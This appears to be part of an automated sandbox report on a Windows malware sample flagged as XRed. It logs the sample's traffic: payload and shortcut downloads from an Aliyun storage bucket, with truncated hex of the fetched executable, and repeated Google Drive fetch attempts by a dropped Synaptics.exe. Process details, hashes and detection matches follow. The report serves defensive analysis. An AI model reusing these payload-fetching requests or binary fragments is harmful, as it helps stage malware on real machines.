Jan 2, 2025 20:35:01.530543089 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:35:01 GMT Content-Type: application/octet-stream Content-Length: 208896 Connection: keep-alive x-oss-request-id: 6776EA6554F7EDD933C5ACFB Accept-Ranges: bytes ETag: "5E3BC49297F0765C486693790157273F" Last-Modified: Sat, 02 Nov 2024 13:26:13 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 2028005770612052367 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: XjvEkpfwdlxIZpN5AVcnPw== x-oss-server-time: 2 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 73 dc f1 b2 12 b2 a2 b2 12 b2 a2 b2 12 b2 a2 71 1d ed a2 b5 12 b2 a2 71 1d ef a2 a7 12 b2 a2 b2 12 b3 a2 67 13 b2 a2 95 d4 cf a2 ab 12 b2 a2 95 d4 df a2 23 12 b2 a2 95 d4 dc a2 c5 12 b2 a2 95 d4 c0 a2 b0 12 b2 a2 95 d4 c8 a2 b3 12 b2 a2 95 d4 ce a2 b3 12 b2 a2 95 d4 ca a2 b3 12 b2 a2 52 69 63 68 b2 12 b2 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b8 06 26 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 00 02 00 00 20 01 00 00 00 00 00 42 dc 00 00 00 10 00 00 00 10 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 70 03 00 00 10 00 00 29 54 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sqqg#RichPEL&g! Bp)T{Cpg: xpC@f@.text^ `.rdatakp@@.data\|Z @.rsrc:@@@.relocI
Jan 2, 2025 20:35:01.711280107 CET	151	OUT	GET /270/cbas.lnk HTTP/1.1 User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher) Host: bruplong.oss-accelerate.aliyuncs.com
Jan 2, 2025 20:35:02.093417883 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:35:02 GMT Content-Type: text/plain Content-Length: 795 Connection: keep-alive x-oss-request-id: 6776EA654346DC2430C58EF6 Accept-Ranges: bytes ETag: "64C03FC25A3910E81DD3546B9F3AD9DC" Last-Modified: Sat, 02 Nov 2024 14:20:11 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 1167351137622024420 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: ZMA/wlo5EOgd01RrnzrZ3A== x-oss-server-time: 2 Data Raw: 4c 00 00 00 01 14 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 9b 00 08 00 20 00 00 00 f4 84 22 c2 31 2d db 01 b4 7d cb c5 31 2d db 01 80 1b c7 34 27 2d db 01 00 82 04 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 df 00 14 00 1f 50 e0 4f d0 20 ea 3a 69 10 a2 d8 08 00 2b 30 30 9d 19 00 2f 43 3a 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 00 31 00 00 00 00 00 5e 59 65 79 10 00 57 69 6e 64 6f 77 73 00 40 00 09 00 04 00 ef be 87 4f 77 48 62 59 69 6b 2e 00 00 00 38 b0 02 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2d b1 ac 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 00 00 16 00 5a 00 32 00 00 82 04 00 62 59 12 68 20 00 63 62 61 73 2e 65 78 65 00 00 42 00 09 00 04 00 ef be 62 59 04 72 62 59 04 72 2e 00 00 00 dd 52 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 96 98 00 63 00 62 00 61 00 73 00 2e 00 65 00 78 00 65 00 00 00 18 00 00 00 42 00 00 00 1c 00 00 00 01 00 00 00 1c 00 00 00 2d 00 00 00 00 00 00 00 41 00 00 00 11 00 00 00 03 00 00 00 1d [TRUNCATED] Data Ascii: LF "1-}1-4'-PO :i+00/C:\V1^YeyWindows@OwHbYik.8-WindowsZ2bYh cbas.exeBbYrbYr.Rcbas.exeB-Ae=(C:\Windows\cbas.exe..\..\..\Windows\cbas.exeC:\Windows$CBg(#`Xdesktop-41g4k28PAr)JPAr)J1SPSXFL8C&mq/S-1-5-21-2574277016-156308586

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49845	142.250.186.142	443	5236	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:35:58 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:35:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:35:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jttXjix5NtM2z55eSnYnkQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49852	142.250.185.225	443	5236	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:35:59 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:36:00 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC47w-qW8SWFOir8jseBMN5Zm2fnWJKBX3fIboutLCpIm889aHoM16E_vnpa78FMkXIX Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:35:59 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-SqMzk4jmfdgy01mO5kIAwg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0; expires=Fri, 04-Jul-2025 19:35:59 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:36:00 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 59 44 56 2d 75 74 53 47 61 4e 56 35 6c 39 6d 30 41 6a 46 54 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0YDV-utSGaNV5l9m0AjFTw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:36:00 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49861	142.250.186.142	443	5236	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:36:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0
2025-01-02 19:36:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:36:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-HvYQeGOGn0qGuvE8uK2aGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49870	142.250.185.225	443	5236	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:36:01 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0
2025-01-02 19:36:02 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7DlfLHuS1GkP7G6C_WpFNx9iHLad_JAiFWI13_tl3cbeGV2YQrPZ_0YjiOgzDi7UWU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:36:02 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-TO2LLdMzwWzFICe98aqa2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:36:02 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:36:02 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4b 64 4f 43 6f 76 37 6d 72 7a 5f 6c 74 35 6d 33 54 69 68 35 58 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="KdOCov7mrz_lt5m3Tih5Xw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:36:02 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49876	142.250.186.142	443	5236	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:36:02 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0
2025-01-02 19:36:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:36:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--oF6W2arTzxafsbKKm9LPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49887	142.250.185.225	443	5236	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:36:04 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0
2025-01-02 19:36:04 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6zL-cB_Tsb3TfcKEY9YtjphCpf3gn_SFraLuN5OgxPYc52lAUIxKtOr7vEoGKyQHPyM1UPmpk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:36:04 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_U9mHaZ6kW3xTkTXsaeOZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:36:04 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:36:04 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 65 4c 53 2d 4c 76 70 41 66 36 38 67 61 49 6b 4f 38 77 77 31 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="ueLS-LvpAf68gaIkO8ww1w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:36:04 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Target ID:	0
Start time:	14:34:46
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	6'656 bytes
MD5 hash:	06303600A3A44EB2FBCE248EB0FE9FC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000003.1747294140.0000000000780000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:34:49
Start date:	02/01/2025
Path:	C:\Program Files (x86)\1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\1.exe" 0
Imagebase:	0x400000
File size:	830'976 bytes
MD5 hash:	D026CFE00B08DA14B0A8B7F8860887D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Program Files (x86)\1.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\1.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:34:49
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_1.exe" 0
Imagebase:	0x400000
File size:	59'392 bytes
MD5 hash:	AED710082D6986C6DCEED09D3A5EDCC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:34:50
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	00367A9FAA8069389A97267D772563E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
